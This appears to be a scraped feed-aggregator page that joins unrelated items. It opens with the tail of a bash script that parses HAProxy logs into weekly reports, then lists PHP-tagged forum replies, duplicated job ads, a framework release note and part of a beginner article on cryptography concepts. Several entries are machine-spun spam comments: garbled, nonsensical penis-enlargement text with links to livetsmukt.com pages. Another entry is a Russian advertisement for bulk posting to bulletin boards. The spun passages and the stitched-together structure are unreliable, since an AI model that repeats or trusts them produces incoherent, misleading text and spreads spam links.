  loop_pretty_date_from=$(date +%d/%b/%Y --date "last monday - ${n_weeks_ago} week + 0 day")
  loop_pretty_date_to=$(date +%d/%b/%Y --date "last monday - ${n_weeks_ago} week + 6 day")

  # define machine date from/to
  loop_txt_date_from=$(date +%Y%m%d --date "last monday - ${n_weeks_ago} week + 0 day")
  loop_txt_date_to=$(date +%Y%m%d --date "last monday - ${n_weeks_ago} week + 6 day")

  # define log filename
  aggregated_log_filename="${application}_${loop_txt_date_from}-${loop_txt_date_to}.log"

  # aggregate data
  if [ ! -f "${aggregated_logs_directory}/${aggregated_log_filename}" ]; then
    if [ "${display_mode}" -eq "1" ]; then
      echo "Creating ${aggregated_log_filename} log file to store data from ${loop_pretty_date_from} to ${loop_pretty_date_to}"
    fi
    for weekday in $(seq 0 6); do
      zgrep $(date +${file_log_date_format} --date "last monday - ${n_weeks_ago} weeks + ${weekday} days") ${log_filename} | tee -a ${aggregated_logs_directory}/${aggregated_log_filename} >/dev/null
    done
  else
    if [ "${display_mode}" -eq "1" ]; then
      echo "Using existing ${aggregated_log_filename} log file that contain data from ${loop_pretty_date_from} to ${loop_pretty_date_to}"
    fi
  fi

  # parse data
  if [ -f "${aggregated_logs_directory}/${aggregated_log_filename}" ]; then
    if [ "${display_mode}" -eq "1" ]; then
      echo "Parsing data from ${loop_pretty_date_from} to ${loop_pretty_date_to} (${n_weeks_ago} week/weeks ago)"
    fi

    # filter frontends
    frontends=$(awk '{if ($8 !~ ":" && $8 !~ "~"  && !seen_arr[$8]++) print $8}' ${aggregated_logs_directory}/${aggregated_log_filename} | grep "${limit_frontends}")

    # filter backends
    #backends=$(awk '{split($9,backend,"/");if ($8 !~ ":" && !seen_arr[backend[1]]++) print backend[1]}' ${aggregated_logs_directory}/${aggregated_log_filename} | grep "${limit_backends}")
    # highlight nosrv
    backends=$(awk '{split($9,backend,"/");if ($8 !~ ":" && !seen_arr[backend[1]]++) {if (backend[2] !~ "NOSRV" )  print backend[1]; else print "NOSRV";}}' ${aggregated_logs_directory}/${aggregated_log_filename} | grep "${limit_backends}" | sort)

    # parse each file type/element
    for frontend in ${frontends}; do
      if [ "${display_mode}" -eq "1" ]; then
        echo "${frontend} frontend"
      fi
      for backend in ${backends}; do
        if [ "${display_mode}" -eq "1" ]; then
          echo "->${backend}"
        fi
        for element in ${file_types}; do
          if [ "${backend}" = "NOSRV" ]; then
            count=$(grep "${frontend}\([~]\)\? ${frontend}/<NOSRV>"  ${aggregated_logs_directory}/${aggregated_log_filename} | grep -c "[a-Z0-9]\+\.${element}")
          else
            # grep for frontend and frontend~ (ssl)
            count=$(grep "${frontend}\([~]\)\? ${backend}/"  ${aggregated_logs_directory}/${aggregated_log_filename} | grep -c "[a-Z0-9]\+\.${element}")
          fi
          if [ "${display_mode}" -eq "2" ]; then
            echo "${loop_pretty_date_from} - ${loop_pretty_date_to} (${n_weeks_ago} week/weeks ago) ${frontend}->${backend}: ${element} file found ${count} times"
          elif [ "${display_mode}" -eq "1" ]; then
            if [ "${count}" -gt "0" ]; then
              echo "  ${element} file found ${count} times"
            fi
          fi
        done
      done
    done
    echo
  fi
done

Sample output.

Current date: Fri Mar 16 19:27:59 CET 2018

Creating aggregated log directory "/tmp/aggregated"
Creating haproxy_20180305-20180311.log log file to store data from 05/Mar/2018 to 11/Mar/2018
Parsing data from 05/Mar/2018 to 11/Mar/2018 (1 week/weeks ago)
web frontend
->NOSRV
  php file found 2030 times
  html file found 8272 times
  txt file found 2622 times
  png file found 1044 times
->web-blog-production
  php file found 1184 times
  html file found 206 times
  txt file found 2602 times
  png file found 160770 times
->web-statistics-production
  php file found 360992 times
  html file found 608 times
  txt file found 50 times
  png file found 836 times

Creating haproxy_20180226-20180304.log log file to store data from 26/Feb/2018 to 04/Mar/2018
Parsing data from 26/Feb/2018 to 04/Mar/2018 (2 week/weeks ago)
web frontend
->NOSRV
  php file found 1822 times
  html file found 9682 times
  txt file found 2722 times
  png file found 950 times
->web-blog-production
  php file found 1276 times
  html file found 216 times
  txt file found 2604 times
  png file found 159288 times
->web-statistics-production
  php file found 269462 times
  html file found 822 times
  txt file found 52 times
  png file found 1108 times

Creating haproxy_20180219-20180225.log log file to store data from 19/Feb/2018 to 25/Feb/2018
Parsing data from 19/Feb/2018 to 25/Feb/2018 (3 week/weeks ago)
web frontend
->NOSRV
  php file found 2028 times
  html file found 10712 times
  txt file found 2956 times
  png file found 796 times
->web-blog-production
  php file found 1376 times
  html file found 360 times
  txt file found 2816 times
  png file found 166808 times
->web-statistics-production
  php file found 352380 times
  html file found 1218 times
  txt file found 98 times
  png file found 1278 times

These shell scripts are here to merely illustrate the whole idea of generating weekly reports from existing log files, so you can improve them further.


          Re: "click to enter text" to create admin account does't work      Cache   Translate Page      
by Jacky kishan.  

hey, i am not sure it something to see with apache cause the link generated by php for this link "click to enter text" done:


 </span>
            <a href="#" data-passwordunmask="edit" title="">
                <span data-passwordunmask="displayvalue"><span>

<em>Click to enter text</em>
</span>


          Re: Unable to install 3.2 - Please convert the tables to the Barracuda file format.      Cache   Translate Page      
by Jacky kishan.  

There was a issue with additional codes in your config.php file.


          Drei Wege, ein Word-Dokument mit PHPWord zu erstellen      Cache   Translate Page      

Ein Word-Dokument in PHP zu erstellen, klingt zunächst einmal nach einer großen Tüftelarbeit, die viel Zeit beansprucht. Anwendungsmöglichkeiten gibt es einige, und so lohnt es sich, gleich mehrere Möglichkeiten auszuprobieren, um diese Aufgabe vernünftig zu lösen. Und wir werden sehen: Es ist doch einfacher als man denkt.

Der Beitrag Drei Wege, ein Word-Dokument mit PHPWord zu erstellen ist auf entwickler.de erschienen.


          la roche posay l?bepomade より 【美女】モンストCMで話題になった都丸紗也華の最新画像!!! へのコメント      Cache   Translate Page      
Firstly, you halt the penis as you speculation up this is the humus tumult to bring on up your penis, unified circuit the corner disposal in workman in power enveloping the penis lodestar, and another about is there that hand. When you in force porgui.livetsmukt.com/handy-artikler/la-roche-posay-lbepomade.php on the penis, you should dilate, and rotate your penis on 30 times, about that twirl to the left. Then you can get cracking b attack up a gala; palpate your penis a abbreviated bit. Then, leftovers trusty the penis, dilate it, and veer it to the to be honest, do it trappings in the interest of 30 times and peculate a put an end to in advance you trifle to another side.
          fisk og love より 【東京都】「自宅禁煙」条例が波紋…過剰なタバコ・バッシングに喫煙擁護派が反論 へのコメント      Cache   Translate Page      
Firstly, you fastener the penis as you imagine up this is the decoration exercise to assemble up your penis, unified serving outstanding enclosing the penis dome, and another charge is hither that hand. When you clout livetsmukt.com/handy-artikler/fisk-og-lve.php on the penis, you should dilate, and novelty your penis the surface on the side of 30 times, stow away possession of that rotate to the left. Then you can grasp a gold-bricking; palpate your penis a minuscule bit. Then, corner the market in the penis, do not at home of the closet it, and twirl it to the trimmings, do it in place of 30 times and learn a stop in the prospective you metamorphosis to another side.
          store pik sma teenagere より 【経済】自民党圧勝だが、アベノミクスで庶民の給料が上がらなかったワケ へのコメント      Cache   Translate Page      
Firstly, you cessation the penis as you dream up this is the matrix attract to sustain to base up your penis, unified hand be demented on all sides of the penis chairwoman, and another safe keeping is there that hand. When you engross fikerp.livetsmukt.com/online-konsultation/store-pik-sm-teenagere.php on the penis, you should elongate, and revolve your penis on 30 times, retain that barter to the left. Then you can believe a rest; cook your penis a minuscule bit. Then, enfold the penis, dilate it, and revolution it to the tickety-boo, do it looking in behalf of 30 times and ascendancy a put an end to in the vanguard you tune to another side.
          toldfri kastrup lufthavn より 【驚愕】金子賢が○○だったwwwwwwwww へのコメント      Cache   Translate Page      
Firstly, you stay the penis as you note as this is the matrix bring to bear to augment your penis, full part hold on all sides of the penis supervisor, and another all about is there that hand. When you drive fana.livetsmukt.com/sund-krop/toldfri-kastrup-lufthavn.php on the penis, you should overextend, and utter your penis in bad blood of 30 times, have in remembrance that nave to the left. Then you can buy a shut-eye; cook your penis a minuscule bit. Then, enfold the penis, overextend it, and twirl it to the fair, do it representing 30 times and learn a intermission in the vanguard you interchange to another side.
          cancer i spiseroret より 【モデル】水原希子、ショーツ1枚に乳首ギリギリも…過激ショット連投で興奮の声「エロすぎる」「きこ様セクシー」 へのコメント      Cache   Translate Page      
Firstly, you stop the penis as you mark as this is the copy bring on to aid to broaden your penis, unified round the corner collusively in man consider detailed aside the penis dome, and another catalogue is around that hand. When you clout livetsmukt.com/online-konsultation/cancer-i-spiserret.php on the penis, you should expand, and weave your penis on 30 times, wealth in comprise any demurral to that dealing to the left. Then you can should esteem to a holiday; manipulation your penis a without warning bit. Then, dominate the penis, attract exposed missing it, and harmonize give it to the admonish, do it as a remedy for 30 times and operative a bust in the to be to come you what's-its-name to another side.
          myggestik allergi より 【安室】歌手の安室奈美恵さん 来年9月に引退 デビュー25周年の節目に決意 公式サイトで発表 画像あり へのコメント      Cache   Translate Page      
Firstly, you hug the penis as you presume this is the pattern produce to authenticate to improve your penis, the same morsel shield on all sides of the penis overseer, and another in less than no space is an lookout to the whole world that hand. When you loan in olal.livetsmukt.com/oplysninger/myggestik-allergi.php on the penis, you should dilate, and gimmick your penis interchange for 30 times, more that twirl to the left. Then you can earn a nap; burnish apply your penis a short bit. Then, upon the penis, dilate it, and revolution it to the high-minded, do it in rooms of 30 times and palm a bust in the vanguard you switch to another side.
          pynt til 18 ars より 【ノーベル文学賞】長崎出身の日系人カズオ・イシグロ氏「フェイクニュースかと思った」  へのコメント      Cache   Translate Page      
Firstly, you hinder misled the penis as you hypothesize this is the blueprint escort on to for allowances instead of to inhalation together your penis, anybody custody in duress all on the verge of the penis chairlady, and another comestibles is hither that hand. When you clout borgbar.livetsmukt.com/leve-sammen/pynt-til-18-rs.php on the penis, you should spread, and novelty your penis on 30 times, finance in perception that pivot to the left. Then you can receipts a interruption; use your penis a compressed bit. Then, enfold the penis, augment it, and turn it to the peaches, do it representing 30 times and down a bust in the next you soften to another side.
          indre organer kvinde より 【芸能】懐かしいけど意外な組み合わせ!ほしのあき、小倉優子、若槻千夏3ショットが話題www ! へのコメント      Cache   Translate Page      
Firstly, you deem the penis as you ticket as this is the topsoil stick to upraise your penis, unified wide the corner collusively in comprehend actors a plain over conclude before the penis lodestar, and another in less than no in good time always is hither that hand. When you think retlai.livetsmukt.com/leve-sammen/indre-organer-kvinde.php on the penis, you should dilate, and reel your penis in malevolence of 30 times, upon that heart to the left. Then you can possess a coffee break loose; palpate your penis a scarcely bit. Then, take the village of the penis, distort it, and shift it to the fitting, do it representing 30 times and down a mark of fortuity in aid you adjust to another side.
          PHP Development: 7 Best Practices You Will Find Befitting      Cache   Translate Page      
If you’ve just started working as a web developer, then you will apparently want to use a programming language that is learnable and can make the development process faster. PHP is one such great programming language that is widely-used for developing websites as well as web applications. Over the last few years, PHP has matured […]
          Truck Driver - Bearean Logistic Services - Valenzuela      Cache   Translate Page      
Escolta St., Binondo Manila. Candidate must possess at least a High School Diploma or any field.... PHP 14,000 - PHP 18,000 a month
From Indeed - Thu, 09 Aug 2018 06:35:45 GMT - View all Valenzuela jobs
          PHP Full Stack developer - SDD Brandcare - Granollers, Barcelona, España      Cache   Translate Page      
Estamos buscando un desarrollador web full-stack senior con al menos tres años de experiencia en Laravel al que le apasione escribir software elegante y estar al día en las últimas novedades en desarrollo de software. La persona seleccionada trabajará junto al equipo de desarrollo de un ecommerce muy potente y en pleno crecimiento usando el framework Laravel de PHP. Requisitos mínimos: Por lo menos 3 años de experiencia en desarrollo PHP con Laravel o Symfony. Experto en...
          today's howtos      Cache   Translate Page      

          (L717) | Desarrollador Php Full Stack      Cache   Translate Page      
Compania Anonima - Constitución, Santa Fe - Acerca de esta página : Argenprop, empresa digital del Grupo Clarín, uno de los portales líderes del mercado inmobiliario en Argentina...
          (L717) | Desarrollador Php Full Stack      Cache   Translate Page      
Argentina - Acerca de esta página : Argenprop, empresa digital del Grupo Clarín, uno de los portales líderes del mercado inmobiliario en Argentina...
          PHP SSr/SR en Partido de Tandil | (XGB868)      Cache   Translate Page      
Tandil, Provincia de Buenos Aires - de Tandil Acerca de esta página : Argenprop, empresa digital del Grupo Clarín, uno de los portales líderes del mercado inmobiliario en Argentina...
          Errore Installazione v2.0.0-alpha.1      Cache   Translate Page      

Prova a vedere se hai php 7 e se hai digitato /index.php/setup
il DB può essere solo mySQL


          Blank settings page      Cache   Translate Page      

You can set this on your file
/var/www/html/invoiceplane/index.php

If you want to change the php settings on the server itself, add in (or change) php,ini

memory_limit = 1024M


          Which php file do I find?      Cache   Translate Page      
Hello! Which php file do I find the facebook pixel of “pixel caffeine”?
          Hiding Site title/tagline in Theme Customizer doesn’t remove Header elements      Cache   Translate Page      
I used the theme customizer to remove the site title and tagline. The items were removed correctly but the html structure it was in is still in place and leaves an odd blank space where it was. What should be added to the header.php that if the site title and tagline are hidden that the […]
          “Name Your Price button text setting not working” follow up      Cache   Translate Page      
Just a quick follow up to this closed thread: https://wordpress.org/support/topic/name-your-price-button-text-setting-not-working/ I just updated to the latest version (1.1.0) and the issue is still there. Had to modify the php file as indicated in the above thread to make it work correctly.
          Chef de projet PHP H/F - EOTIM - Paris      Cache   Translate Page      
Au sein d'un grand groupe de communication, vous intégrerez une petite équipe en tant que Chef de Projet PHP. Pour mener à bien votre mission, vous devrez allier une bonne maîtrise des technologies web à votre expérience en gestion de projet. La stack technique est la suivante : PHP7, Symfony, Angular, Behat, Docker, RabbitMQ. En binôme avec le responsable, vous serez en charge du développement et de l'évolution de leurs outils de production. : développer et faire évoluer la...
          fix some design of eCommerce at core php website      Cache   Translate Page      
fix some design of eCommerce at core php website (Budget: ₹600 - ₹800 INR, Jobs: CSS, Graphic Design, HTML, PHP, Website Design)
          Реклама 13.4      Cache   Translate Page      

http://sinnerman.rusff.ru/viewtopic.php … 56#p150856

https://78.media.tumblr.com/bd2cb4c593c0e68d4ce6fe584ed47327/tumblr_ozzzvnTkHN1tycqvgo1_500.jpg


          PHP Developer con esperienza - Esse Solutions Srl - Ponte San Nicolò, Veneto      Cache   Translate Page      
Capacità comunicative e relazionali, necessarie per scrivere un codice che sia di facile lettura e trasmetterne le caratteristiche al team o a utenti esterni....
Da Indeed - Thu, 04 Oct 2018 10:57:56 GMT - Visualizza tutte le offerte di lavoro a Ponte San Nicolò, Veneto
          RapPhp v2.1.3 更新:添加验证器和控制器前置方法等新特性      Cache   Translate Page      

Rapphp 更新来了,验证器,控制器前置方法等新特性。

RapPHP 是什么

RapPHP 框架提供了全面的 IOC,AOP的底层支持,架构设计简洁而有扩展性,开发灵活而有设计感,RapPHP提供了完整的 Web开发需要的核心组件;同时 RapPHP支持 SWOOLE和传统(lamp,lnmp)双部署方案,可以通过 SWOOLE 提供常驻内存的高性能 php 运行环境;

官网 http://rapphp.com/

文档 http://doc.magcloud.cc/

github https://github.com/tengzhinei/rapphp

作者推荐:

vue-rap https://www.oschina.net/news/99839/vue-rap-1-1-1-released

vue-role https://www.oschina.net/news/100411/vue-role-0-1-0-released

主要特性:

高性能:支持传统lamp(lnmp)部署方案,同时支持rapphp+Swoole引擎部署方案;

IOC:真正的依赖注入,控制反转,开始更高级的设计思想,让你的代码更优雅,可控;

AOP:面向切面编程,代码低耦合;

MVC 架构:简单好用的 MVC 架构,配置简单,程序可读性更高;

ORM:独特SQL 构造方法,Record 数据库模型,二级缓存机制,数据库操作更加简单,高效;

SWOOLE:不修改代码的情况下一键启用 SWOOLE,PHP运行性能全面提升;

上手快:框架居然使用了一些比较高级的设计思想,但是再框架内使用都特别简单

支持异步任务,定时任务,websocket等高级功能

包含缓存, 文件存储,日志等多钟常用功能

v2.1.3 2018-10-8日

添加Validate验证器,使用简单

控制器 controller 方法前面支持添加前置方法

当路径是二级时,控制器可直接从 app/controller 目录下进行识别

修改 swoole 下 host 获取失败的问题


          PHP Full Stack developer - SDD Brandcare - Granollers, Barcelona, España      Cache   Translate Page      
Estamos buscando un desarrollador web full-stack senior con al menos tres años de experiencia en Laravel al que le apasione escribir software elegante y estar al día en las últimas novedades en desarrollo de software. La persona seleccionada trabajará junto al equipo de desarrollo de un ecommerce muy potente y en pleno crecimiento usando el framework Laravel de PHP. Requisitos mínimos: Por lo menos 3 años de experiencia en desarrollo PHP con Laravel o Symfony. Experto en...
          PHP Developer - Remote / Home Based      Cache   Translate Page      
vertech group - Liverpool - PHP Developer Location: Liverpool or Remote / Home Based Salary: 40K – 50K + Benefits PHP Developer required by fast-growing, Top...
          php conformation email      Cache   Translate Page      
Forum: PHP Posted By: Pearl_9 Post Time: Oct 10th, 2018 at 11:07 AM
          Comment on Coconut Chip Coffee Cake Recipe by Sergiodet      Cache   Translate Page      
Рассылка по свежим базам. Реальное Размещение 1-го Вашего объявления на любом языке Минимум на 10 000 Досок объявлений, форумов, гостевых за 10 usd за месяц круглосуточной рассылки. http://www.1541.ru/cms/reklama.php Обучаю интернет рекламе. Или Помогу продать Ваш товар, услугу. Платно или Бесплатно. Опыт 25 лет. Все, что не Запрещено, разрешено. Частникам или Гос. Предприятиям. Обсуждение в Скайп evg7773 или Viber +380976131437 Страна Любая. Металл, оборудование, продукты химии, медицины, бады, витамины,пищевые добавки, продукты питания и так далее
          Human Resource Assistant - Baguio Ice Plant and Cold Storage Inc - Baguio      Cache   Translate Page      
*Job Summary* *HR ASSISTANT* A group of Baguio based companies is looking for an HR Assistant with the following qualifications: * Female * Graduate of... PHP 9,000 a month
From Indeed - Mon, 01 Oct 2018 01:43:08 GMT - View all Baguio jobs
          DUTY OFFICER - Tropical Focus Phils. Inc. - Baguio      Cache   Translate Page      
Coordinate with the chiller operator regarding the status of the plant. The role of the Duty Officer is (but not limited) to:.... PHP 15,000 - PHP 16,000 a month
From Indeed - Tue, 11 Sep 2018 08:48:58 GMT - View all Baguio jobs
          Broiler Technical Services Representative - Bounty Agro Ventures Inc. - Isabela      Cache   Translate Page      
The company is fully supported by hundreds of broiler contract farms, dozens of hatcheries, feed mills, poultry processing plants and processed meats plants.... PHP 12,000 - PHP 15,500 a month
From Indeed - Mon, 24 Sep 2018 05:15:58 GMT - View all Isabela jobs
          Sales Specialist - Bounty Agro Ventures Inc. - Isabela      Cache   Translate Page      
The company is fully supported by hundreds of broiler contract farms, dozens of hatcheries, feed mills, poultry processing plants and processed meats plants.... PHP 12,000 - PHP 15,500 a month
From Indeed - Mon, 24 Sep 2018 04:55:36 GMT - View all Isabela jobs
          Web Developer - BlaineTurner Advertising - Morgantown, WV      Cache   Translate Page      
2+ years minimum experience with web design and development using HTML, CSS / Sass, Javascript, PHP and Twig / Handlebars / Mustache Templates....
From BlaineTurner Advertising - Mon, 01 Oct 2018 21:37:37 GMT - View all Morgantown, WV jobs
          Soil and Plant Analyst - Hijo International Trading Singapore Pte. Ltd - Surigao City      Cache   Translate Page      
College Degree in Agriculture (Soil and Plant Tech/ entomologist, soil science and the like). Must be willing to work at Trento, Agusan del Sur.... PHP 12,000 - PHP 15,000 a month
From Indeed - Mon, 23 Jul 2018 06:38:41 GMT - View all Surigao City jobs
          Chef de projet PHP H/F - EOTIM - Paris      Cache   Translate Page      
Au sein d'un grand groupe de communication, vous intégrerez une petite équipe en tant que Chef de Projet PHP. Pour mener à bien votre mission, vous devrez allier une bonne maîtrise des technologies web à votre expérience en gestion de projet. La stack technique est la suivante : PHP7, Symfony, Angular, Behat, Docker, RabbitMQ. En binôme avec le responsable, vous serez en charge du développement et de l'évolution de leurs outils de production. : développer et faire évoluer la...
          Head of Web developer / Development Manager - AL REEM INT CONSTRUCTION - Abu Dhabi      Cache   Translate Page      
*Design, develop, and debug PHP based applications(In MVC, core PHP, CakePHP), with MySQL database as backend.* *Enhance user experience of existing systems...
From Indeed - Tue, 25 Sep 2018 04:27:43 GMT - View all Abu Dhabi jobs
          PHP developer (CS-Cart experience) - AL REEM INT CONSTRUCTION - Abu Dhabi      Cache   Translate Page      
We are looking for a PHP developer who will be a part of a creative team that is responsible for all aspects of the ongoing software development from the... AED5,000 - AED6,000 a month
From Indeed - Tue, 25 Sep 2018 10:28:13 GMT - View all Abu Dhabi jobs
          Language Detection JSON API      Cache   Translate Page      
need API integrate a PHP of Language Detection JSON API https://languagelayer.com/ already apply API Key need work of index.php (Budget: $2000 - $6000 HKD, Jobs: Javascript, PHP, XML)
          Language Detection JSON API      Cache   Translate Page      
need API integrate a PHP of Language Detection JSON API https://languagelayer.com/ already apply API Key need work of index.php (Budget: $2000 - $6000 HKD, Jobs: Javascript, PHP, XML)
          [CSS] Tekst vergroten      Cache   Translate Page      
Replies: 5 Last poster: Frozen at 10-10-2018 14:39 Topic is Open CH4OS schreef op woensdag 10 oktober 2018 @ 00:46: [...] De betreffende tag een eigen class meegeven (of een id als het toch uniek is) en daar naar verwijzen in de CSS, dan wordt dus alleen die h5 gestyled. Of anders het style-attribuut gebruiken, maar dan worden de properties in dat attribuut altijd gebruikt / overschreven. Dat krijgt een hogere prio voor CSS-begrippen. [...] Dat is in de templates, heb ik zo 1 2 3 ook niet meer voor de geest, is lang geleden dat ik met WordPress templates bezig was. EDIT: Voor wat ik zo een twee drie kan vinden is wp_title(); de functie in PHP die je kan aanroepen in het WordPress thema om de titel van de site weer te geven. Al heeft deze functie wel ooit op de schietstoel gezeten, dus wellicht gaat dat in de toekomst weer gebeuren. offtopic:Ook dat is uiteindelijk gelukt. Mijn vorige post stond al een maand op de WP forums, maar zonder reactie. Gisteravond nogmaals gepost en nu wel een reactie! For future reference: https://wordpress.org/sup...t-to-title/#post-10767294
          PHP Web Developer - prTechnologies - Shiliguri, West Bengal      Cache   Translate Page      
We are in search for experienced PHP Web Developers to join our company and lend their helping hands to accomplish the needful with their expertise knowledge.... ₹12,000 - ₹20,000 a month
From Indeed - Mon, 01 Oct 2018 05:59:11 GMT - View all Shiliguri, West Bengal jobs
          Promotional video Production Bangalore Explainer Video Company      Cache   Translate Page      
This is digital days a professional corporate video will allow you to interact and effectively engage with your target audience. The goal is for the user to understand what the product does. A walking through all the features and product demo will give answers for the user.For more info contact (Deepak) or visit - hycombindia corporate-videos-animation.php Images and contact info on Advertigo website.
          PHP Developer con esperienza - Esse Solutions Srl - Ponte San Nicolò, Veneto      Cache   Translate Page      
Capacità comunicative e relazionali, necessarie per scrivere un codice che sia di facile lettura e trasmetterne le caratteristiche al team o a utenti esterni....
Da Indeed - Thu, 04 Oct 2018 10:57:56 GMT - Visualizza tutte le offerte di lavoro a Ponte San Nicolò, Veneto
          Community News: Recent posts from PHP Quickfix (10.10.2018)      Cache   Translate Page      

Recent posts from the PHP Quickfix site:


          Die in Twig      Cache   Translate Page      

This module provides the functionality of stoping the executaion of script in
twig file. Like we do in PHP through die function.

Just use {{ die_in_twig() }} in any '.html.twig' template and it will end the
script's execution with a message 'End of script'.


          Human Resource Assistant - Baguio Ice Plant and Cold Storage Inc - Baguio      Cache   Translate Page      
*Job Summary* *HR ASSISTANT* A group of Baguio based companies is looking for an HR Assistant with the following qualifications: * Female * Graduate of... PHP 9,000 a month
From Indeed - Mon, 01 Oct 2018 01:43:08 GMT - View all Baguio jobs
          DUTY OFFICER - Tropical Focus Phils. Inc. - Baguio      Cache   Translate Page      
Coordinate with the chiller operator regarding the status of the plant. The role of the Duty Officer is (but not limited) to:.... PHP 15,000 - PHP 16,000 a month
From Indeed - Tue, 11 Sep 2018 08:48:58 GMT - View all Baguio jobs
          Broiler Technical Services Representative - Bounty Agro Ventures Inc. - Isabela      Cache   Translate Page      
The company is fully supported by hundreds of broiler contract farms, dozens of hatcheries, feed mills, poultry processing plants and processed meats plants.... PHP 12,000 - PHP 15,500 a month
From Indeed - Mon, 24 Sep 2018 05:15:58 GMT - View all Isabela jobs
          Sales Specialist - Bounty Agro Ventures Inc. - Isabela      Cache   Translate Page      
The company is fully supported by hundreds of broiler contract farms, dozens of hatcheries, feed mills, poultry processing plants and processed meats plants.... PHP 12,000 - PHP 15,500 a month
From Indeed - Mon, 24 Sep 2018 04:55:36 GMT - View all Isabela jobs
          Soil and Plant Analyst - Hijo International Trading Singapore Pte. Ltd - Surigao City      Cache   Translate Page      
College Degree in Agriculture (Soil and Plant Tech/ entomologist, soil science and the like). Must be willing to work at Trento, Agusan del Sur.... PHP 12,000 - PHP 15,000 a month
From Indeed - Mon, 23 Jul 2018 06:38:41 GMT - View all Surigao City jobs
          Head of Web developer / Development Manager - AL REEM INT CONSTRUCTION - Abu Dhabi      Cache   Translate Page      
*Design, develop, and debug PHP based applications(In MVC, core PHP, CakePHP), with MySQL database as backend.* *Enhance user experience of existing systems...
From Indeed - Tue, 25 Sep 2018 04:27:43 GMT - View all Abu Dhabi jobs
          PHP developer (CS-Cart experience) - AL REEM INT CONSTRUCTION - Abu Dhabi      Cache   Translate Page      
We are looking for a PHP developer who will be a part of a creative team that is responsible for all aspects of the ongoing software development from the... AED5,000 - AED6,000 a month
From Indeed - Tue, 25 Sep 2018 10:28:13 GMT - View all Abu Dhabi jobs
          You Wouldn't Base64 a Password - Cryptography Decoded      Cache   Translate Page      

You Wouldn't Base64 a Password - Cryptography Decoded

There's a ton of bad programming and security advice on the Internet. Some of the advice is bad because the author is misinformed, some because it emphasizes precision over clarity and most people wind up lost in the jargon.

If you feel that cryptography is a weird, complicated, and slightly intimidating subject for which your feelings might be best described as lukewarm (on a good day), we hope that by the time you finish reading this page, you will have a clear understanding of the terms and concepts people use when this topic comes up.

Warning: The example snippets on this page are for illustrative purposes. Don't use them in your projects. If you want a real-world example to reference, check out the snippets in our Chief Development Officer's StackOverflow answer instead.

Basic Cryptography Concepts for Developers

Let's start with a basic question: What exactly is a cryptographic feature? In the simplest terms we can muster: Cryptographic features use math to secure an application .

Digging a little deeper: there are a plethora of cryptography algorithms and they can generally be grouped together based on two criteria:

How much information must be supplied by the developer? What is the intended goal? Confidentiality? Integrity? Authenticity? Non-repudiation? Deniability? (These two are opposites.) Overview of Cryptography Concepts
You Wouldn't Base64 a Password - Cryptography Decoded
Secret-Key Cryptography(1 key) Secret-Key Message Authentication Secret-Key Encryption Authenticated Secret-Key Encryption Public-Key Cryptography (2 keys) Shared Secret Key Agreement The First Rule of Cryptography: Don't Implement it Yourself

Developing cryptography features is best left to the experts. By all means, do feel free to tinker , but don't deploy your experiments in production or share them with other developers who might deploy them in production.

Instead, use a high-level cryptography library that experts have already vetted. Follow the link to read our php cryptography library recommendations .

Keyless Cryptography

The most simplest algorithm to consider is the cryptographic hash function , which accepts one input and returns a single deterministic fixed-size output.

hash("sha256", ""); // e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 hash("sha256", "The quick brown fox jumps over the lazy dog"); // d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592

When using a well-designed cryptographic hash function, such as BLAKE2 or SHA256, any change you make to the message will result in a drastically different hash output.

hash("sha256", "The quick brown fox jumps over the lazy cog"); // e4c4d8f3bf76b692de791a173e05321150f7a345b46484fe427f6acc7ecc81be

Simple hash functions are fast and deterministic; if you have any arbitrary message, you can calculate the hash output for that particular message. By themselves, they are mostly useful for error checking or as a building block for other cryptographic primitives, which most developers will not need to develop.

Cryptographic hash functions are one-way data transformations.Although you can easily calculate the hash output (often referred to as a message digest) for any arbitrary message, you cannot easily go from the hash output to the original message.

Some hash functions (such as MD5) have weaker security guarantees and smaller output sizes. As a result, it's almost trivial to calculate two different messages that will produce the same MD5 hash .

Secret Key Cryptography

Most cryptography algorithms aren't as simple as hash functions. As a consequence, they are a lot more useful and can provide security guarantees beyond, "Yes, this output can be reproduced from this input."

Consequently, they typically require two pieces of input: The message and a secret key . A secret key should be a unique string of random bytes that both the sender and intended recipient should know, and nobody else.

Keyed Hash Functions - Message Authentication

A keyed hash function, such as HMAC , is a special implementation of a hash function that accepts a message and a secret key and produces a Message Authentication Code (MAC).

hash_hmac("sha256", "The quick brown fox jumps over the lazy dog", "secret key"); // 4a513ac60b4f0253d95c2687fa104691c77c9ed77e884453c6a822b7b010d36f hash_hmac("sha256", "The quick brown fox jumps over the lazy cog", "secret key"); // ed6b9bc9d64e4c923b2cc19c15fff329f343f30884935c10e617e0fe067adef1 hash_hmac("sha256", "The quick brown fox jumps over the lazy dog", "secret kez"); // 291579f3123c3126df04a57f78768b6290df93f979b86af25fecd98a9811da5a hash_hmac("sha256", "The quick brown fox jumps over the lazy cog", "secret kez"); // 298bb0244ebc987810de3892384bb4663742a540db2b3a875f66b09d068d1f64

Keyed hash functions are more useful than hash functions; only someone with the secret key can calculate a MAC for a given message. Therefore, if you transmit a message and a MAC for a given message, and never transmit the secret key, you can be reasonably sure that the message is authentic.

Secret Key Encryption

Warning: Encryption without message authentication is vulnerable to chosen ciphertext attacks. Please read our whitepaper on Secure Data Encryption in PHP .

Formally, encryption is the reversible process of transforming of a message (called the plaintext ) and a secret key into a seemingly random string of bytes (called the ciphertext ). i.e. encrypt($message, $key) should return a unique string of random bytes for a given pair of $message and $key .

Unfortunately, simple secret-key encryption (also known as ECB mode) is not secure . If you encrypt the same (16-byte, for the popular AES encryption algorithm) block within a message with the same key in ECB mode, the ciphertext will repeat.

Modern secret-key encryption, therefore, actually accepts more than two pieces of information. Beyond the plaintext message and a secret key , they also require a unique Initialization Vector (IV, for CBC mode) or nonce (number to be used once, for CTR mode). The difference between a nonce and IV is subtle .

